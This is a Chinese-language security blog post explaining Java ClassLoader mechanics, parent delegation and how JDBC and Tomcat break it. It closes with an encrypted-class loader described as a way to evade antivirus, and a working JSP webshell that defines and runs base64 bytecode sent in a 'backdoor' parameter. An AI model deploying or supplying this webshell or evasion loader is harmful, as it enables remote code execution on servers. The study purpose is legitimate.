ClassLoader

Java类加载器在Java安全中有着非常重要的地位,通过学习 ClassLoader 能够掌握 Java 语言执行命令的底层逻辑。

简介

image-20260401110718439

在 Java 漫谈中我们利用过 CLassload#defineClass 方法动态加载字节码后传入 JVM 虚拟机进行调用,这里字节码的获取我们也提到过可以有多样的获取方式。

常见的类加载方式

两种常见的类加载方式(获取到 java.lang.class 对象):

  • Class.forname
  • Classloader.loadclass

这两个方法通过传入 类的名字 后通过 ClassLoader 实现类加载,前者是 native 方法,后者是 Java 方法。不难想到第一个方法在加载的时候如果不想用默认的 通过类名全名加载类 的 ClassLoader,或者第二个方法需要指定 ClassLoader 获取 Class ,都需要获取 CLassloader

ClassLoader获取方式:

1
2
3
4
ClassLoader loader = null;
loader = Thread.currentThread().getContextClassLoader();//线程上下文加载器(通过当前线程获取)
loader = ClassLoader.getSystemClassLoader();//系统类加载器(APPClassLoader)
loader = this.getClass().getClassLoader();//定义类加载器(通过已加载class获取)

loadClassfindClassdefineClass

  • loadClass:类加载的方法,默认的双亲委派机制就实现在这个方法中。
  • findClass:根据名称或位置加载 .class 字节码
  • definclass:把字节码转化为 Class

ClassLoader 类关系以及结构

URLClassLoader 是类加载机制双亲委托机制中最靠近子类的父类。ExtClassLoaderAppClassLoaderWebappClassLoaderBase等都继承自 URLClassLoader

这个图非常好的说明了加载字节码的时候流程:

image-20260401121657567

简单来说 Classloader 是一个抽象类,离它最近的 URLClassLoader ,它被 ExtClassLoad、AppClassLoaderUserClassLoader(这里是 WebappClassLoaderBase 加载器)继承着。

看一下 ClassLoaderloadClass 方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
protected Class<?> loadClass(String name, boolean resolve)
throws ClassNotFoundException
{
synchronized (getClassLoadingLock(name)) {
// First, check if the class has already been loaded
Class<?> c = findLoadedClass(name);
if (c == null) {
long t0 = System.nanoTime();
try {
if (parent != null) {
c = parent.loadClass(name, false);
} else {
c = findBootstrapClassOrNull(name);
}
} catch (ClassNotFoundException e) {
// ClassNotFoundException thrown if class not found
// from the non-null parent class loader
}

if (c == null) {
// If still not found, then invoke findClass in order
// to find the class.
long t1 = System.nanoTime();
c = findClass(name);

// this is the defining class loader; record the stats
sun.misc.PerfCounter.getParentDelegationTime().addTime(t1 - t0);
sun.misc.PerfCounter.getFindClassTime().addElapsedTimeFrom(t1);
sun.misc.PerfCounter.getFindClasses().increment();
}
}
if (resolve) {
resolveClass(c);
}
return c;
}
}
  • Bootstrap ClassLoader,主要负责加载Java核心类库,%JRE_HOME%\lib 下的 rt.jarresources.jarcharsets.jar class 等。
  • Extention ClassLoader,主要负责加载目录 %JRE_HOME%\lib\ext 目录下的 jar 包和 class 文件。
  • Application ClassLoader,主要负责加载当前应用的 classpath 下的所有类
  • User ClassLoader,用户自定义的类加载器,可加载指定路径的 class 文件

其中 Bootstrap 加载器没被写入图中的原因是 Bootstrap 是一个 native 方法,不继承于 URLClassLoader

双亲委派机制

本质

双亲委派的本质机制就是:在父类能加载情况下要用父类进行加载,只有父类无法加载的时候才会由自己的加载器进行加载。

实现

双亲委派机制类加载器之间不是用继承来实现,

具体地说,实现双亲委派机制的方法:

  1. 检查类是否已经被加载过
  2. 如果没有加载就调用父加载器( parent )的 loadClass 方法进行加载
  3. 如果父加载器为空(已经委派到 Bootstrap)就用 Bootstrap 加载器加载
  4. 如果父加载器加载失败在调用自己的 findClass 方法进行加载

意义

双亲委派的意义:

  • 避免类的重复加载
  • 保证类加载的安全性(防止 jar 包中的类被随意替换)

破坏

破坏方式:

  • 因为双亲委派机制是在 loadClass 方法中实现的,那么想要破坏这种机制就要自定义一个类加载器重写 loadClass 方法,彻底破坏双亲委派机制。
  • JDK 1.2 以后就不提倡用户直接重写 loadClass 方法,因为父类加载器加载失败就会调用自己的 findClass 方法完成加载,所以说不妨继承 ClassLoader 并且在 findClass 中实现自己的加载逻辑。

注意继承于 ClassLoader 的类会默认调用父类的无参方法设置父类加载器为 Apploader 并且继承于父类的原始 loadClass 方法进行双亲委派。

破坏例子:

JNDIJDBC 这类需要加载 SPI 接口实现类:

我们日常开发中,大多数时候会通过API的方式调用Java提供的那些基础类,这些基础类时被Bootstrap加载的。但是,调用方式除了API之外,还有一种SPI的方式。

如典型的JDBC服务,我们通常通过以下方式创建数据库连接:

1
Connection conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/mysql", "root", "1234");

在以上代码执行之前,DriverManager会先被类加载器加载,因为java.sql.DriverManager类是位于rt.jar下面的 ,所以他会被根加载器加载。

类加载时,会执行该类的静态方法。其中有一段关键的代码是:

1
ServiceLoader<Driver> loadedDrivers = ServiceLoader.load(Driver.class);

这段代码,会尝试加载 classpath 下面的所有实现了 Driver 接口的实现类。

那么,问题就来了。

DriverManager 是被根加载器加载的,那么在加载时遇到以上代码,会尝试加载所有 Driver 的实现类,但是这些实现类基本都是第三方提供的,根据双亲委派原则,第三方的类不能被根加载器加载。

于是,就在**JDBC中引入ThreadContextClassLoader(线程上下文加载器,默认情况下是AppClassLoader)**破坏了双亲委派原则。

我们深入到ServiceLoader.load方法就可以看到:

1
2
3
4
public static <S> ServiceLoader<S> load(Class<S> service) {
ClassLoader cl = Thread.currentThread().getContextClassLoader();
return ServiceLoader.load(service, cl);
}

它获取当前线程的线程上下文类加载器 AppClassLoader,用于加载 classpath 中的具体实现类。

Tomcat 破坏双亲委派获取不同版本类:

当需要同名不同版本的类的时候双亲委派机制就显得太死板了,因此 Tomcat 破坏了双亲委派机制,提供隔离后为每个 web 单独部署了一个 WebAppClassloader,它重写了 loadClass 方法颠倒了查找顺序:即先找负责的目录下的 class 文件,加载不到的时候再交给 super.loadClass 方法走正常的双亲委派。

加载加密字节码

直接通过重写 findClass 中的逻辑先解密再调用 defineClass 把解密后的字节码传递给 JVM 虚拟机,这样加密后的恶意类能进行免杀。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public class SecureClassLoader extends ClassLoader {
private String cipherDir;
public SecureClassLoader(String dir) {
this.cipherDir = dir;
}
@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
try {
String fileName = name.replace('.', '/') + ".cipher";
String fullPath = cipherDir + "/" + fileName;
byte[] classData = CipherUtils.decryptToBytes(fullPath);
return defineClass(name, classData, 0, classData.length);
} catch (Exception e) {
throw new ClassNotFoundException("无法加载加密类: " + name, e);
}
}
}

模块化设计

在 JDK 9 后整个 JDK 都根据模块化设计,编译的时候只编译需要用的模块避免臃肿,同样的加载器也只负责自己的模块。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Class<?> c = findLoadedClass(cn);
if (c == null) {
// 找到当前类属于哪个模块
LoadedModule loadedModule = findLoadedModule(cn);
if (loadedModule != null) {
//获取当前模块的类加载器
BuiltinClassLoader loader = loadedModule.loader();
//进行类加载
c = findClassInModuleOrNull(loadedModule, cn);
} else {
// 找不到模块信息才会进行双亲委派
if (parent != null) {
c = parent.loadClassOrNull(cn);
}
}
}

在木马中的利用

类加载器中最后一步 defineClass 直接会通过字节码在 JVM 中执行类的初始化,这部分在 Java 安全漫谈中提到过,我们可以直接直截了当的传入字节码后调用 defineClass 方法进行 RCE。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<%@ page import="sun.misc.BASE64Decoder" %>
<%!
class U extends ClassLoader{
U(ClassLoader c){
super(c);
}
public Class g(byte []b){
return super.defineClass(b,0,b.length);
}
}
BASE64Decoder decoder=new sun.misc.BASE64Decoder();
%>
<%
String cls=request.getParameter("backdoor");
if(cls!=null){
new U(this.getClass().getClassLoader()).g(decoder.decodeBuffer(cls)).newInstance().equals(pageContext);
}
%>